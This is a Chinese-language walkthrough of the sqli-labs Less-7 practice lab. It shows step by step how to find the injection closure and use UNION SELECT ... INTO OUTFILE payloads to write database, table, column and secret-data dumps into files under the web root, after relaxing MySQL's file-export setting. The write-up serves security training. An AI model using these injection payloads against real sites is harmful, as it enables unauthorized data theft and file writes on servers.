sqli-labs
Less-7
前提
这关考的是文件导出。(由于msyql默认不让导出文件,我们可能需要先配置一下)。
首先我们可以在less-1中检查一下secure_file_priv设置是否配置到导出目录
-- 直接在Less-1中查询
?id=1')) union select 1,@@secure_file_priv,3 --+
如果返回类似:
NULL:完全禁止文件导出
C:\ProgramData\MySQL\MySQL Server 8.0\Uploads\:只能导出到这个目录
空字符串:允许导出到任何目录
修改 MySQL 配置(推荐)
步骤1:找到 my.ini/my.cnf
在 phpstudy 中:
打开 phpstudy 面板
找到 MySQL -> 配置 -> my.ini
通常路径:D:\MyBox\phpstudy\phpstudy_pro\Extensions\MySQL5.7.26\my.ini
步骤2:修改 secure_file_priv
在 [mysqld] 部分添加或修改:
secure_file_priv = ""
或者指定一个具体目录:
secure_file_priv = "D:/MyBox/phpstudy/phpstudy_pro/WWW/"
1.判断注入点:
http://sqli-labs/Less-7/?id=1 #正常
http://sqli-labs/Less-7/?id=1' #报错
http://sqli-labs/Less-7/?id=1" #正常
是单引号闭合
http://sqli-labs/Less-7/?id=1' --+ #报错
http://sqli-labs/Less-7/?id=1') --+ #报错
http://sqli-labs/Less-7/?id=1')) --+ #正常
确认是'))闭合
这一关提示outfile

那就是将回显导出到文件中进行查看
这里导出需要条件:
1.有写入权限(前提中有提到);
2.知道网站绝对路径(毕竟是靶场自己知道的);
2.爆库
#爆所有库并导出到1.txt
http://sqli-labs/Less-7/?id=1')) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile 'D:/MyBox/phpstudy/phpstudy_pro/WWW/sqli-labs/Less-7/1.txt' --+
#注意
1。路径要用/或者\\
看我的路径'D:/MyBox/phpstudy/phpstudy_pro/WWW/sqli-labs/Less-7/1.txt'


3.爆表
#challenges库中的表并导出到2.txt
http://sqli-labs/Less-7/?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' into outfile 'D:/MyBox/phpstudy/phpstudy_pro/WWW/sqli-labs/Less-7/2.txt' --+

4.爆列
#爆challenges库中2m4sx0cpn5表中所有列名并导出到3.txt
http://sqli-labs/Less-7/?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='2m4sx0cpn5' into outfile 'D:/MyBox/phpstudy/phpstudy_pro/WWW/sqli-labs/Less-7/3.txt' --+

5.爆字段
#这里就看一下challenges库中2m4sx0cpn5表中secret_NOQD列中的所有数据
http://sqli-labs/Less-7/?id=1')) union select 1,2,group_concat(secret_NOQD) from challenges.2m4sx0cpn5 into outfile 'D:/MyBox/phpstudy/phpstudy_pro/WWW/sqli-labs/Less-7/4.txt' --+

结束。